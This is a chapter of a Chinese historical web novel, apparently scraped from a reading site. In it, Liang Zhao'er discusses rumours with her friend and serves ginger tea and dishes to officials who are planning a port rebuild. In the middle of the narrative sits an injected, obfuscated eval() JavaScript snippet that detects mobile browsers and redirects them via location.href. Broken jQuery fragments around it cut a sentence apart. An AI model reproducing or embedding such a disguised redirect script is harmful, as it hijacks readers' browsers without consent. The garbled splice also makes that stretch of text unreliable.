默认冷灰
24号文字
方正启体

11. 巡视港口与红糖姜茶

作者:木弓长本书字数:K更新时间:
    “我哪里就是这个意思?大娘帮我是情分,我不好怪她,不过此事我总觉着是有人故意而为之。”梁照儿摇了摇头,若有所思道。


    玉梳叹了口气说:“你莫不是以为是崔家人?”


    梁照儿想起崔璋在食摊前说的话,将事情告诉玉梳,又结合从前种种,冷哼一声道:“自然是因为他有前科。”


    玉梳执了梁照儿的手,宽解道:“我并不是为璋官人说项,只是我在崔家服侍一场,是看着他到如今的。他性子虽冷,却也是个读书人,并不爱搬弄口舌是非,何况他如今日子也不好过。”


    听及此处,梁照儿心中也有些动摇,莫非真是自己错怪崔璋了?


    玉梳又缓缓说:“女子立世艰难,旁人想要置女子于万劫不复之地,大可在她的名节上做手脚。这事从前是这样,以后也是这样。”


    梁照儿握紧拳头,咬牙道:“难道就凭他们空口白牙地污蔑人吗?”


    玉梳也不知说些什么,二人之间陷入了沉默。


    半晌,玉梳才说:“我原想劝你再找个男人嫁了,谣言便不攻自破。可我瞧着崔家如今——越发觉得成亲也不算个什么好事。”


    梁照儿问道:“可是又出事了?”


    “原以为珍大官人只是在外头喝些花酒,谁成想他还染上了赌。赌坊的人每日都上门要债,可他却躲在屋子里不肯出去,竟推了大娘子到外头去替她周旋。可怜刘大娘子怀着两个多月的身孕,还要料理这些糟心事!”玉梳恨恨道。


    她最厌恶负心的男人,此刻对崔大郎更是没一副好脸色。


    梁照儿啐道:“好没用的男人,花钱在外头爽快时浑然不顾家里头,出了事倒知道躲回来了!”


    黄和赌一向是相辅相成的,崔大郎染上赌博并不意外,令她惊讶的是,刘氏居然有了身孕。


    原书中并未写大房留下了子嗣。


    玉梳一阵忧心,“眼瞧着崔家就要被败光了,若真有那日……还不知道去哪寻个活计做。”


    梁照儿将头靠在玉梳的肩窝里,轻声说:“那你就来食肆帮我,正好我一个人忙不过来,咱们两个人还如以前那样一处就伴岂不好?”


    玉梳摸了摸梁照儿的脸,喃喃道:“好照儿……”


    轩窗半开,丝丝凉意沁润着屋子,一个惊雷在空中炸开,又淅淅沥沥的下起了小雨。


    清晨,一辆马车驶过泥泞的官道,一阵风将车幔吹开,里头正襟坐着两位大人。


    韩知州在小厮的搀扶下从马车上下来,一双乌皮鞋上被溅了几滴泥点子。


    小厮作势就要俯下身去替韩知州擦鞋,却被韩知州一把抓起,“不打紧,雨天哪有不湿鞋的。”


    王通判连忙说:“快替知州撑起伞。”


    二人在渡口边等了一小会见雨势不见小,小厮朝一旁望了望,建议道:“奴瞧那边有家食肆开着,不如二位大人先去避避雨。”


    韩知州顺势望去,欣然道:“那便去吧。”


    一行人进了食肆,小厮将伞收起,冲着里头喊道:“店主人可在?”


    梁照儿听见外头来了客人,连忙从后头出来笑着说:“奴家在的。”


    小厮见店主人是位娘子,不由放柔了声音拱手道:“我家主君来此避雨,不知可有私密些的包厢歇歇脚?”


    梁照儿瞧着小厮身后两位普通身材的中年男子都身着不凡,想来非富即贵,立刻说:“自是有的,请几位官人随奴家来便是。”


    引着三人进了右侧的包厢,梁照儿又回后厨准备做一盅红糖姜茶给他们祛寒。


    虽不知他们来此地做甚,但服侍好了准没错。


    梁照儿将腌制好的生姜洗净切丝,放入锅中加水煮开后小火再煮上十分钟,最后倒入红糖搅拌至融化,关火盖上盖子又焖了五分钟。


    再掀开,一股浓郁的红糖味儿便蹿了出来。


    她用勺子舀起一勺仔细尝了尝,见十分入味,才倒进青瓷盅里,连着蜜饯一同送了过去。


    包厢里开了一扇窗,能够清楚地看见渡口外头的情况,梁照儿进去时正听见韩知州说:“这位置倒好。”


    她轻轻将红糖姜茶放在桌上,退到一边笑着说:“二位官人冒雨进来,想必受了寒气,喝一碗热腾腾的姜茶祛祛寒罢。”


    王通判和煦道:“多谢娘子。”


    韩知州指着一旁的小厮说:“给我这小仆也拿个碗来,若论受寒,他可比我多。”


    那小厮受宠若惊,连声称不敢与主人共饮。


    “都是爹饭娘羹养大的,哪里有什么分别,你只喝就是了。”韩知州摆了摆手。


    “有的有的,食肆里头别的不多,就是碗多。”梁照儿笑着打趣道,转身便去后厨拿碗。


    她捧了三只大海碗来,递了一只给小厮,那小厮倒也露出个真心实意的笑容来。


    梁照儿知趣地退了出去,将空间还给两位贵人。


    今日下雨,外头没什么人,梁照儿便坐在竹椅上替大黄梳毛。


    不一会儿李鸿包着一堆图纸进来了,连声说:“方才可有两位气质不凡的官人进来了?瞧着他们的车马都在外头。”


    梁照儿见是李鸿,连忙将大黄放下起身道:“有的呀,李官人,瞧着都是大人物哩!”


    她替李鸿束了伞放在一边,又引着他进去。李鸿对着面前的两位贵人道:“是下官来迟了。”


    梁照儿心下一惊,今日这食肆也算是蓬荜生辉。李鸿本就是州衙里头的官吏,能被他称为上官的人,只怕已是平民百姓能见到的最顶层人士了。


    她不敢多待,唯恐触了贵人眉头,连忙退了出去。


    临走前,梁照儿被叫住。韩知州说:“再拿个碗进来。”


    她应了一声,即刻照做。


    四人喝了一口姜茶,皆长长地叹了口气。


    李鸿扭头对着梁照儿说:“娘子可上些拿手的吃食来,也好叫咱们尝尝鲜。”


    梁照儿抿嘴笑着说:“那便拣您爱吃的热干面上罢。”


    李鸿觑了韩知州一眼,又想到自己才上任没几天,便在大领导面前丢了脸,面上立刻通红一片。


    他将事情自嘲般地讲与韩知州听,博得知州哈哈一笑说:“我记起来了。”


    王通判摇了摇头,指着李鸿无奈地说:“你也算是成了名,樊川现在看见个人恨不得就要掰过来瞧瞧人家的仪容是否整洁。”


    李鸿嘴上虽说着“下官不敢”,心里却喜滋滋的,一件无伤大雅的小事便拉近了同一把手和二把手之间的距离,合算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401521|168708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “想来娘子这儿的吃食有独到之处,一样上些来罢,正好我今日也还未用早膳,肚子正抗议呢。”韩知州说道。


    梁照儿自是再欢喜不过地应下了,赶忙出去预备,小厮同她一道出门也在包厢外头守着。


    李鸿见屋内闲杂人等都离开了,将怀里的图纸铺开,“所幸雨水没沾湿图纸,二位上官请看,这正是瓜洲港附近桥梁和道路的图纸。”


    几人对瓜州港和渡口附近的情形一一分析后,王通判又问:“如今州府内的工匠有几何?”


    李鸿依次对答:“都作院有十三所,每所工匠三百人左右。”


    韩知州点了点头,“工匠数量倒不算少,不过重修瓜州港是朝廷派下来的一件大事,为了和润州那边的新港接上。”


    “下官以为届时可以征调民夫,附近县镇能人异士不再少数。”李鸿思忖片刻说道。


    王通判笑着说:“你虽上任不久,对分内之事却很清楚,不错。”


    李鸿得了王通判的赞赏,立刻起身躬身道:“通判谬赞。”


    韩知州鲜少说虚言,只说:“待会雨势小些,还是要去渡口边上仔细瞧瞧。”


    听闻韩知州如此说,二人皆起身恭敬应是。


    恰巧此刻梁照儿打了竹帘侧身进来,将吃食依次放在圆桌上。她做了红丝馎饦、梅花汤饼、定胜糕、热干面和羊肉胡饼。


    众人停下讨论,皆注目看向桌上的吃食。


    李鸿指着热干面无奈说:“还记着第一次吃有些吃不惯,可后来吃多了倒离不开了,有时半夜饿得不行了就想吃这个。”


    他这话说的风趣,无形之中也拉高了众人的期待。等着韩知州先动筷后,余下的人才纷纷动了起来。


    韩知州祖籍在北方,热干面的接受度其高。王通判倒一般,连说有些干噎得慌。


    餍足后,韩知州抬手用了一旁跟着呈上来的沉香饮子,叹道:“果真不错,哪怕是我家那不成器的大郎来,也挑不出毛病。”


    王通判听见他又提起韩景彦会心一笑,知州为人很是谦逊可对自家儿子却时常满口.交赞。身为他的同僚,王通判每日听他炫耀自家孩子已经听到耳朵起茧子。


    他从韩知州的口中已经得知了韩景彦是何时出生、何时会走路,又是何时会写字的。


    甚至连韩景彦的学习进度他都了如指掌。


    “我记着景哥儿前不久才下场考试了吧?想来放榜的时间也快到了。”王通判随口问道。


    韩知州正想找人聊此事,他按耐住内心的激动,说道:“正是,也不知此番能否考中。”


    王通判笑着说:“稚圭兄的担忧可是过了,景哥儿天资聪颖,又得你亲自教导,哪有不中的道理。”


    “哪里,哪里。”


    韩知州笑得嘴都合不拢,却仍谦虚道。


    梁照儿听见屋子里头谈到了整修港口一事便暗暗记下了。这是不可多得的信息差,无论古代现代,做生意之人想要成功都得踩在风口上。


    港口开发不失为一个机遇。


    修建时不少工匠民夫应征而来,衣食住行都是再基本不过的开销,她这临街的食肆不怕没得赚。


    这般想着,她这几日卖胡饼都更有了几分力气。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)